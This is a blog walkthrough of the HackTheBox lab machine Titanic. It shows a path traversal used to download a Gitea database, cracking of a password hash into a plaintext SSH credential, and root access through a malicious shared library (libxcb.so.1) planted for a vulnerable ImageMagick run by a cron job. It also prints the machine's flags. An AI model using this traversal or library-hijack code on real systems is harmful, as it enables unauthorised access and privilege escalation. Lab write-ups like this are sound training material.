HackTheBox | Titanic

In this walkthrough, I demonstrate how I obtained complete ownership of Titanic on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Titanic from Hack The Box!
I have just owned machine Titanic from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Feb 17 11:56:04 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.33.1
Nmap scan report for 10.129.33.1
Host is up (0.092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 17 11:56:49 2025 -- 1 IP address (1 host up) scanned in 45.61 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output, as you'll note the HTTP redirect to titanic.htb. Let's get that added to our /etc/hosts file.
echo -e '10.129.33.1\t\ttitanic.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Book a trip...
... which returns a JSON file
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know So Far

Booking a cabin
HTTP 302 (temporary redirect) response from the server pointing us to /download with a a ticket ID in the query string
Then, we fetch the file, no cookies / session tokens needed

The attack surface on the web application is very small, with only a single button to book a cabin on the Titanic. The response is very simple as well, returning a simple JSON file reflecting all of our input values. Based on this data, my assumptions for the attack path are:

  • Path Traversal: The simplest check would be for path traversal, since we fill out the form and are redirected to a file. And, we can download the file without the need for any session tokens.
  • Cross-Site Scripting: Does not appear to be at play here, as there's no indication our submissions are going to anyone for review



Doing Our Due Diligence

Before we go slinging payloads at the web application, let's ensure we map the attack surface, so that we're fully prepared when it's time to attack.

gobuster vhost -u http://$target --domain 'titanic.htb' --append-domain -w /usr/share/seclists/Discovery/DNS/namelist.txt -o vhost.txt -t 100 --exclude-length 300-370
Found: dev.titanic.htb Status: 200 [Size: 13982]

Let's add the newly discovered virtual host to our /etc/hosts file.

echo -e '10.129.33.1\t\tdev.titanic.htb' | sudo tee -a /etc/hosts



Explore the New Virtual Host

Click on "developer" username and "Public Activity" then we can see different changes to the applications by clicking on the various commit IDs
Note the root user's password for the MySQL DBMS running in Docker
Seems there may be a /home/developer path on the box in some capacity.
We can see the app.py source code, which is the Python source code for the Titanic booking web app.
💡
There's definitely a path traversal vulnerability in the app, as no attempt is made at controlling the input to the ticket query parameter.



Testing Path Traversal

Just guessing on eth0 here, check which IP lease we have to see if we're in Docker or not. DHCP lease matches the target's IP, so we're not going to land in Docker
💡
One thing I notice while testing the path traversal vulnerability is that we can infer a file or directory exists judging by the server response.
Exists, but can't return a directory as a JSON file
Invalid directory
Invalid file





Exploit

Download Database

ℹ️
I've hunted around for a while looking for user passwords in configuration files, log files, SSH keys, etc. But I've come up short. I know from past experience, there should be a gitea.db file. And, developer@titanic.htb is the user who created the two repositories we discovered before, and is also in the /etc/passwd file (as can be found via path traversal).

Since /home/developer/gitea/data maps to /data inside the Docker container. When the container is started and Gitea initializes, this will create /data/gitea/, which will create /home/developer/gitea/data/gitea/ on the Docker host side.
curl -s 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db



Crack Hashes

Run .tables to list all tables in the gitea.db database file
sqlite3 gitea.db "SELECT name FROM PRAGMA_table_info('user');"

Get all of the column names from the user table

sqlite3 gitea.db "SELECT email,salt,passwd,passwd_hash_algo FROM user;"

Dump the salt and hash from the database

PBKDF2-HMAC-SHA256 | 0xBEN | Notes
Example Hash Hash is from a recent CTF and therefore, there are no concerns with making it public…

I've never had any luck cracking PBKDF2-HMAC-SHA256 with john despite following the documentation and formatting the hash as documented, so just use hashcat for this one.

Attempt to crack developer hash first, since we know this is a valid user on the box. Note the correct number of iterations, as well as base64-encoded salt and hash.
Cracked! developer:25282528



SSH Access





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux titanic 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy    

Current User

uid=1000(developer) gid=1000(developer) groups=1000(developer)

Sorry, user developer may not run sudo on titanic.    



Users and Groups

Local Users

developer:x:1000:1000:developer:/home/developer:/bin/bash    

Local Groups

developer:x:1000:    



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:d5:d4 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.30.108/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3367sec preferred_lft 3367sec
    inet6 dead:beef::250:56ff:fe94:d5d4/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:fe94:d5d4/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:10:53:d8:15 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-892511bece4a: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:32:13:ad:ec brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-892511bece4a
       valid_lft forever preferred_lft forever
    inet6 fe80::42:32ff:fe13:adec/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp   LISTEN   0      128        127.0.0.1:5000       0.0.0.0:*     users:(("python3",pid=1145,fd=3))
tcp   LISTEN   0      4096       127.0.0.1:3000       0.0.0.0:*
tcp   LISTEN   0      4096       127.0.0.1:2222       0.0.0.0:*
tcp   LISTEN   0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN   0      4096       127.0.0.1:44659      0.0.0.0:*

ARP Table

10.129.0.1 dev eth0 lladdr 00:50:56:b9:74:37 REACHABLE
172.18.0.2 dev br-892511bece4a lladdr 02:42:ac:12:00:02 REACHABLE    

Routes

default via 10.129.0.1 dev eth0 
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.30.108 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown 
172.18.0.0/16 dev br-892511bece4a proto kernel scope link src 172.18.0.1



Interesting Files

/opt/scripts/identify_images.sh

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log





Privilege Escalation

Possible Cron Job

During the post-exploit enumeration process, one interesting place to look is in /opt, as this is a common directory for developers and system administrators to install custom scripts and binaries.

Looking at the identify_images.sh script, it seems like this would be run by a cron job under the root user account. My reasons for this suspicion are:

  • Script is only writable by root
  • The script writes to metadata.log, which is writable only by root
  • It leverages a find in script that seems to serve the purpose of finding new .jpg images in the target directory: /opt/app/static/assets/images

Testing the Hypothesis

Our user group, developer, has write access to this directory
cp /opt/app/static/assets/images/home.jpg /opt/app/static/assets/images/test.jpg
Before
After about one minute we see test.jpg in the output, so we know the hypothesis about the possible cron job is corroborated



Becoming Root

Understanding the Exploit

The script invokes /usr/bin/magick, which is currently installed at version 7.1.1-35
ImageMagick < 7.1.1-36 Arbitrary Code Execution
The remote Windows host has an application installed that is affected by an arbitrary code execution vulnerability. (Nessus Plugin ID 204966)

A Google search for magick 7.1.1-35 exploit returns this Tenable result

Arbitrary Code Execution in `AppImage` version `ImageMagick`
### Summary The `AppImage` version `ImageMagick` might use an empty path when setting `MAGICK_CONFIGURE_PATH` and `LD_LIBRARY_PATH` environment variables while executing, which might lead to arb…

POC linked by Tenable page

This is because in the AppRun script, the version number is hardcoded in the path to 7.0.9. If $HERE/usr/lib/ImageMagick-7.0.9/ does not exist, readlink -f "$HERE/usr/lib/ImageMagick-7.0.9/config-Q16" or readlink -f "$HERE/usr/lib/ImageMagick-7.0.9/config-Q16HDRI" will return an empty path.

Additionally, if MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH are not set, AppRun will append an empty path to MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH.

This result in while the ImageMagick is executing, it might use current working directory as the path to search for the configuration file or shared libraries, because empty path in these environment variables means the current working directory.
Which means it might load the delegates.xml or shared libraries from the current working directory
ℹ️
To summarize, version numbers are hard-coded in the AppImage install script, which may cause configuration issues with PATH dependencies. This may allow an attacker to control code execution by placing arbitrary delegates.xml or .so files in the directory where magick is called from and affect the behavior of the application.
This does appear to be the AppImage version of ImageMagic



Proof of Concept

💡
We can't use the delegates.xml POC, because we have no way to inject the ./delegates.xml into the find command in the cron job. But we can use the ./libxcb.so.1 POC, because magick should load this when it is invoked by find.
gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("touch /tmp/pwned.txt");
    exit(0);
}
EOF

Output the shared object to /opt/app/static/assets/images, as this is the path used with the cd command in identify_images.sh

The touch /tmp/pwned.txt command in the system() call was created by root 🎉



Privilege Escalation

gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("usermod -G sudo developer");
    exit(0);
}
EOF

Add ourselves to the sudo group

Once you see the changes, log out and SSH back in for your new privileges to be applied



Flags

User

0a51f980469accd648c09458a728723d    

Root

7decbe330e917545a6376f98c395103d    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.